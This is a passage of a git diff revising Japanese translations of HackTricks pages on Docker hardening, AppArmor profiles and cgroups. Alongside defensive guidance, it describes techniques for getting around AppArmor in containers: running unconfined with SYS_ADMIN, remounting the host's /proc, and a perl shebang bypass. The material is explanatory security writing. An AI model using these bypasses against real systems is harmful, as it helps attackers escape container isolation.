ComposeとKubernetes**が堅牢なソリューションを提供しています。 Docker Composeは、`docker-compose.yml`の例に示すように、サービス定義内の`secrets`キーを使用してシークレットファイルを指定します。 ```yaml version: "3.7" services: @@ -335,35 +341,36 @@ file: ./my_secret_file.txt ``` この設定では、Docker Composeを使用してサービスを起動する際にシークレットを使用できるようになります。 -Kubernetes環境では、シークレットはネイティブでサポートされ、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)などのツールでさらに管理できます。KubernetesのRole Based Access Controls(RBAC)は、Docker Enterpriseと同様にシークレット管理のセキュリティを向上させます。 +Kubernetes環境では、シークレットはネイティブでサポートされており、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)などのツールでさらに管理できます。 KubernetesのRole Based Access Controls(RBAC)は、Docker Enterpriseと同様にシークレット管理のセキュリティを向上させます。 ### gVisor -**gVisor**は、Goで書かれたアプリケーションカーネルであり、Linuxシステムサーフェスの大部分を実装しています。これには、`runsc`と呼ばれる[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムが含まれており、**アプリケーションとホストカーネルの間の隔離境界**を提供します。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。 +**gVisor**は、Goで書かれたアプリケーションカーネルであり、Linuxシステムサーフェスの大部分を実装しています。[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムである`runsc`を含み、**アプリケーションとホストカーネルの間の隔離境界**を提供します。 `runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。 {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを発揮するが、第2の防御層としてハードウェア仮想化技術を使用して**強力なワークロード分離**を提供するセキュアなコンテナランタイムを構築するために取り組むオープンソースコミュニティです。 +**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを発揮するが、**ハードウェア仮想化技術を使用してより強力なワークロード分離**を提供するセキュアなコンテナランタイムを構築するために取り組むオープンソースコミュニティです。 {% embed url="https://katacontainers.io/" %} ### 要約のヒント -* **`--privileged`フラグを使用しない**か、[**コンテナ内にDockerソケットをマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)。 Dockerソケットを使用すると、コンテナを生成することができるため、たとえば`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御することができます。 +* **`--privileged`フラグを使用しない**か、[**コンテナ内にDockerソケットをマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)。 Dockerソケットを使用すると、コンテナを生成できるため、たとえば`--privileged`フラグを使用して別のコンテナを実行するなど、ホストの完全な制御を取るのが簡単になります。 * コンテナ内で**rootとして実行しないでください。**[**異なるユーザー**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **と**[**ユーザーネームスペース**](https://docs.docker.com/engine/security/userns-remap/) **を使用してください。** コンテナ内のrootは、ユーザーネームスペースでリマップされていない限り、ホストと同じです。主にLinuxのネームスペース、機能、およびcgroupsによってわずかに制限されています。 -* [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要な機能のみを有効にしてください**(`--cap-add=...`)。多くのワークロードには機能が必要ない場合があり、それらを追加すると攻撃の範囲が広がります。 -* プロセスがsuidバイナリを介して特権を取得するのを防ぐために、**“no-new-privileges”セキュリティオプションを使用してください**。 -* コンテナに利用可能なリソースを**制限してください**。リソース制限は、マシンをサービス拒否攻撃から保護できます。 +* [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要な機能のみを有効にしてください**(`--cap-add=...`)。多くのワークロードには機能が必要ないことが多く、それらを追加すると攻撃の範囲が広がります。 +* プロセスが特権を取得するのを防ぐために、[**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)してください。たとえば、suidバイナリを介して特権を取得することがあります。 +* コンテナに利用可能なリソースを[**制限してください**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)。リソース制限は、マシンをサービス拒否攻撃から保護できます。 * **[seccomp](https://docs.docker.com/engine/security/seccomp/)**、**[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(またはSELinux)**プロファイルを調整して、コンテナで利用可能なアクションとシスコールを最小限に制限してください。 -* **[公式のDockerイメージ](https://docs.docker.com/docker-hub/official_images/)**を使用し、署名を要求するか、それらを基に独自のイメージを構築してください。[バックドアが仕込まれた](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)イメージを継承したり使用しないでください。また、ルートキー、パスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する計画を立てています。 +* **[公式のDockerイメージ](https://docs.docker.com/docker-hub/official_images/)**を使用し、署名を要求するか、それらを基に独自のイメージを構築してください。[バックドアが仕込まれた](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)イメージを継承したり使用しないでください。また、ルートキー、パスフレーズは安全な場所に保存してください。 DockerはUCPでキーを管理する計画を立てています。 * **イメージを定期的に再構築**して、ホストとイメージにセキュリティパッチを適用してください。 * **シークレットを賢く管理**して、攻撃者がアクセスしにくくしてください。 * Dockerデーモンを公開する場合は、HTTPSを使用して、クライアントとサーバーの認証を行ってください。 -* Dockerfileでは、**ADDの代わりにCOPYを使用**してください。ADDは自動的にzipファイルを解凍し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限り、ADDを使用せずにリモートURLやZipファイルを介した攻撃に対して脆弱にならないようにしてください。 -* 各マイクロサービスに**別々のコンテナを使用**してください。 -* コンテナ**イメージを小さくしてください** +* Dockerfileでは、**ADDの代わりにCOPYを使用**してください。ADDは自動的にzipファイルを解凍し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDを使用せず、リモートURLやZipファイルを介した攻撃に対して脆弱にならないようにしてください。 +* 各マイクロサービスに**個別のコンテナを持つ**こと。 +* コンテナ内に**sshを配置しないでください。** “docker exec”を使用してコンテナにsshすることができます。 +* **小さな**コンテナ**イメージを使用**してください。 ## Docker Breakout / Privilege Escalation @@ -375,7 +382,7 @@ Kubernetes環境では、シークレットはネイティブでサポートさ ## Docker Authentication Plugin Bypass -Dockerソケットにアクセス権があるか、**dockerグループのユーザーにアクセス権があるが、Docker認証プラグインによって制限されている**場合、**バイパスできるかどうかを確認してください**: +Dockerソケットにアクセス権があるか、**dockerグループのユーザーにアクセス権があるが、Docker認証プラグインによって操作が制限されている**場合、**バイパスできるかどうかを確認してください**: {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -402,7 +409,7 @@ Dockerソケットにアクセス権があるか、**dockerグループのユー * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) * [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**してください。\ @@ -411,12 +418,12 @@ Dockerソケットにアクセス権があるか、**dockerグループのユー {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) + +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: - -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに。 +* もし**HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングテクニックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index 2012e832f..8be2e5fa1 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -4,52 +4,52 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする -- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されていないかをチェックする **無料** 機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** ## 基本情報 -AppArmorは、**プログラムごとのプロファイルを介してプログラムが利用できるリソースを制限するように設計されたカーネルの拡張機能**であり、アクセス制御属性をユーザーではなくプログラムに直接結びつけることで、強制アクセス制御(MAC)を効果的に実装しています。このシステムは、**プロファイルをカーネルにロード**して動作し、これらのプロファイルは、ネットワーク接続、生のソケットアクセス、ファイルアクセス権限など、プログラムがアクセスできるリソースを指示します。 +AppArmor は、**プログラムごとのプロファイルを介してプログラムが利用できるリソースを制限するように設計されたカーネルの拡張機能**であり、アクセス制御属性をユーザーではなくプログラムに直接結びつけることで、強制アクセス制御(MAC)を効果的に実装しています。このシステムは、**プロファイルをカーネルにロード** することによって動作し、通常は起動時に行われ、これらのプロファイルは、ネットワーク接続、rawソケットアクセス、ファイルアクセスなど、プログラムがアクセスできるリソースを指示します。 -AppArmorプロファイルには、次の2つの動作モードがあります: +AppArmor プロファイルには、次の2つの動作モードがあります: -- **強制モード**:このモードは、プロファイルで定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを介してこれらを侵害しようとする試みを記録します。 -- **クレームモード**:強制モードとは異なり、クレームモードはプロファイルのポリシーに違反するアクションをブロックしません。代わりに、これらの試みをポリシー違反として記録しますが、制限を強制しません。 +* **強制モード**:このモードは、プロファイルで定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslog や auditd などのシステムを介してこれらを侵害しようとする試みを記録します。 +* **クレームモード**:強制モードとは異なり、クレームモードは、プロファイルのポリシーに違反するアクションをブロックしません。代わりに、これらの試みをポリシー違反として記録しますが、制限を強制しません。 -### AppArmorの構成要素 +### AppArmor の構成要素 -- **カーネルモジュール**:ポリシーの強制を担当します。 -- **ポリシー**:プログラムの動作とリソースアクセスのルールと制限を指定します。 -- **パーサー**:ポリシーをカーネルにロードして強制または報告します。 -- **ユーティリティ**:これらは、AppArmorとのやり取りと管理のためのインターフェースを提供するユーザーモードプログラムです。 +* **カーネルモジュール**:ポリシーの強制を担当します。 +* **ポリシー**:プログラムの動作とリソースアクセスのルールと制限を指定します。 +* **パーサー**:ポリシーをカーネルにロードして強制または報告します。 +* **ユーティリティ**:これらは、AppArmor とのやり取りと管理のためのインターフェースを提供するユーザーモードプログラムです。 ### プロファイルのパス -AppArmorプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\ -`sudo aa-status`を使用すると、いくつかのプロファイルに制限がかけられているバイナリをリストアップできます。リストされた各バイナリのパスのスラッシュ"/"をドットに変更すると、言及されたフォルダ内のapparmorプロファイルの名前が取得できます。 +Apparmor プロファイルは通常 _**/etc/apparmor.d/**_ に保存されます。\ +`sudo aa-status` を使用すると、いくつかのプロファイルによって制限されているバイナリをリストすることができます。リストされた各バイナリのパスの "/" をドットに変更すると、言及されたフォルダ内の apparmor プロファイルの名前が取得できます。 -たとえば、_**/usr/bin/man**_の**apparmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。 +たとえば、_/usr/bin/man_ の **apparmor** プロファイルは _/etc/apparmor.d/usr.bin.man_ にあります。 ### コマンド ```bash @@ -63,23 +63,23 @@ aa-mergeprof #used to merge the policies ``` ## プロファイルの作成 -- 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**が許可されています(ファイルグロブを使用するため)。 -- **ファイル**に対するバイナリのアクセスを示すために、以下の**アクセス制御**を使用できます: - - **r**(読み取り) - - **w**(書き込み) - - **m**(実行可能としてメモリマップ) - - **k**(ファイルロック) - - **l**(ハードリンクの作成) - - **ix**(新しいプログラムがポリシーを継承して別のプログラムを実行する) - - **Px**(環境をクリーンアップした後、別のプロファイルで実行) - - **Cx**(環境をクリーンアップした後、子プロファイルで実行) - - **Ux**(環境をクリーンアップした後、無制限に実行) -- **プロファイル内で変数**を定義し、プロファイル外から操作することができます。例:@{PROC} および @{HOME}(プロファイルファイルに #include \ を追加します) -- **許可ルールを上書きするために拒否ルールがサポート**されています。 +* 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**が許可されています(ファイルグロブを使用するため)。 +* **ファイル**に対するバイナリのアクセスを示すために、以下の**アクセス制御**を使用できます: +* **r**(読み取り) +* **w**(書き込み) +* **m**(実行可能としてメモリマップ) +* **k**(ファイルロック) +* **l**(ハードリンクの作成) +* **ix**(新しいプログラムで別のプログラムを実行し、ポリシーを継承) +* **Px**(環境をクリーンアップした後、別のプロファイルで実行) +* **Cx**(環境をクリーンアップした後、子プロファイルで実行) +* **Ux**(環境をクリーンアップした後、無制限に実行) +* **変数**はプロファイルで定義でき、プロファイルの外部から操作できます。例:@{PROC} および @{HOME}(プロファイルファイルに #include \ を追加) +* **許可ルールを上書きするために拒否ルールがサポート**されています。 ### aa-genprof -簡単にプロファイルを作成するために、apparmor が役立ちます。**バイナリによって実行されるアクションを apparmor に検査させ、その後、許可または拒否するアクションを決定できます**。\ +簡単にプロファイルの作成を開始するために、apparmor が役立ちます。**バイナリによって実行されるアクションを apparmor が検査し、どのアクションを許可または拒否するかを決定できます**。\ 次のコマンドを実行するだけです: ```bash sudo aa-genprof /path/to/binary @@ -88,9 +88,15 @@ sudo aa-genprof /path/to/binary ```bash /path/to/binary -a dosomething ``` +その後、最初のコンソールで "**s**" を押し、記録されたアクションで無視するか、許可するか、その他を指定します。終了したら "**f**" を押し、新しいプロファイルが _/etc/apparmor.d/path.to.binary_ に作成されます + +{% hint style="info" %} +矢印キーを使用して、許可するか拒否するかを選択できます +{% endhint %} + ### aa-easyprof -また、バイナリのAppArmorプロファイルのテンプレートを作成することもできます。 +また、バイナリの AppArmor プロファイルのテンプレートを作成することもできます: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -119,18 +125,18 @@ sudo aa-easyprof /path/to/binary デフォルトでは、作成したプロファイルでは何も許可されていないため、すべてが拒否されます。たとえば、バイナリが `/etc/passwd` を読むことを許可するために `/etc/passwd r,` のような行を追加する必要があります。 {% endhint %} -新しいプロファイルを**強制**することができます。 +新しいプロファイルを**強制**することができます ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### ログからプロファイルを修正する +### ログからプロファイルを変更する -次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのうち許可するものがあるかどうかを尋ねます: +次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのうち許可するかどうかを尋ねます: ```bash sudo aa-logprof ``` {% hint style="info" %} -矢印キーを使用して、許可/拒否/その他の選択を行うことができます +矢印キーを使用して、許可/拒否/その他を選択できます {% endhint %} ### プロファイルの管理 @@ -148,7 +154,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` -以下の方法でもこの情報を取得できます: +次の方法でもこの情報を取得できます: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -166,9 +172,9 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` -## DockerのApparmor +## Docker内のApparmor -デフォルトでDockerのプロファイル**docker-profile**がロードされていることに注意してください: +デフォルトでDockerのプロファイル**docker-profile**がロードされていることに注意してください。 ```bash sudo aa-status apparmor module is loaded. @@ -189,7 +195,7 @@ docker-default **docker-defaultプロファイルの概要**: - すべての**ネットワーキング**への**アクセス** -- **権限**は定義されていません(ただし、一部の権限は基本的なベースルールを含むことによって提供されます、つまり#include \) +- **権限**は定義されていません(ただし、一部の権限は基本的なベースルールを含めることで得られます、つまり#include \) - 任意の**/proc**ファイルへの**書き込み**は**許可されていません** - 他の/**proc**および/**sys**の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否されます** - **マウント**は**許可されていません** @@ -200,33 +206,33 @@ Dockerコンテナを**実行**すると、次の出力が表示されるはず 1 processes are in enforce mode. docker-default (825) ``` -注意してください。デフォルトでは、**apparmorはコンテナに付与された権限でさえもブロック**します。たとえば、**SYS_ADMIN権限が付与**されていても、デフォルトではdockerのapparmorプロファイルがこのアクセスを拒否するため、**/proc内に書き込む権限をブロック**することができます。 +注意してください。デフォルトでは、**apparmor はさえコンテナに付与された権限をブロック**します。たとえば、**SYS\_ADMIN 権限が付与されている場合でも、/proc への書き込み権限をブロック**することができます。なぜなら、デフォルトでは Docker の apparmor プロファイルがこのアクセスを拒否するからです。 ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -Apparmorの制限をバイパスするために、**Apparmorを無効にする**必要があります。 +apparmorの制限をバイパスするには、**apparmorを無効にする**必要があります。 ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -デフォルトでは、**AppArmor** はコンテナがSYS_ADMIN機能を持っていても、内部からフォルダをマウントすることを**禁止します**。 +デフォルトでは**AppArmor**は、**SYS_ADMIN**機能を持っていても、コンテナが内部からフォルダをマウントすることを**禁止します**。 -dockerコンテナに**capabilities**を**追加/削除**できることに注意してください(これは**AppArmor**や**Seccomp**などの保護方法によって引き続き制限されます): +**capabilities**をdockerコンテナに**追加/削除**できることに注意してください(これは**AppArmor**や**Seccomp**などの保護方法によって引き続き制限されます): -- `--cap-add=SYS_ADMIN` は `SYS_ADMIN` 機能を付与します +- `--cap-add=SYS_ADMIN` は`SYS_ADMIN`機能を付与します - `--cap-add=ALL` はすべての機能を付与します -- `--cap-drop=ALL --cap-add=SYS_PTRACE` はすべての機能を削除し、`SYS_PTRACE` のみを付与します +- `--cap-drop=ALL --cap-add=SYS_PTRACE` はすべての機能を削除し、`SYS_PTRACE`のみを付与します {% hint style="info" %} -通常、**docker**コンテナ内で**特権機能**が利用可能であることがわかった場合でも、**exploit**の一部が機能しない場合は、docker **apparmor がそれを防いでいる**可能性があります。 +通常、**docker**コンテナ内で**特権機能**が**利用可能**であることがわかった場合でも、**exploit**の一部が**機能しない**場合は、dockerの**apparmorがそれを防いでいる**可能性があります。 {% endhint %} ### 例 ([**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)の例から) -AppArmorの機能を説明するために、新しいDockerプロファイル "mydocker" を作成し、次の行を追加しました: +AppArmorの機能を説明するために、次の行が追加された新しいDockerプロファイル「mydocker」を作成しました: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` @@ -234,35 +240,35 @@ deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` sudo apparmor_parser -r -W mydocker ``` -プロファイルをリストするには、以下のコマンドを使用します。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。 +プロファイルをリストするには、以下のコマンドを使用できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。 ``` $ sudo apparmor_status | grep mydocker mydocker ``` -以下のように、AppArmorプロファイルが「/etc/」への書き込みアクセスを防いでいるため、「/etc/」を変更しようとするとエラーが発生します。 +以下のように、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるため、「/etc/」を変更しようとするとエラーが発生します。 ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` ### AppArmor Docker Bypass1 -コンテナで実行されている**apparmorプロファイルを見つける**には、次のコマンドを使用できます: +コンテナで実行されている**apparmorプロファイルを見つける**には、次のコマンドを使用できます: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -その後、次の行を実行して、**使用されている正確なプロファイルを見つける**ことができます: +その後、次の行を実行して、**使用されている正確なプロファイルを見つける**ことができます: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` ### AppArmor Docker Bypass2 -**AppArmorはパスベース**であり、これは、たとえ**`/proc`**のようなディレクトリ内のファイルを**保護**していても、コンテナの実行方法を**構成**できる場合、ホストのprocディレクトリを**`/host/proc`**にマウントすることができ、それによりAppArmorによる保護が**解除**されます。 +**AppArmorはパスベース**であり、これは、たとえ**`/proc`**のようなディレクトリ内のファイルを**保護**していても、コンテナの実行方法を**構成**できる場合、ホストのprocディレクトリを**`/host/proc`**内にマウントすることができ、それはもはやAppArmorによって保護されなくなります。 ### AppArmor Shebang Bypass -[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも**、最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、そのファイルを直接**実行**すると、任意のコマンドを実行できることが示されています。例: +[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも**、最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**すると、任意のコマンドを実行できることが示されています。例: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -274,26 +280,26 @@ chmod +x /tmp/test.pl ``` ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %}
-**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ +**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**する場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/linux-hardening/privilege-escalation/docker-security/cgroups.md b/linux-hardening/privilege-escalation/docker-security/cgroups.md index 0b8b0a43f..fc5401eb8 100644 --- a/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -7,24 +7,24 @@ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 +* **ハッキングトリックを共有するために、PRを** 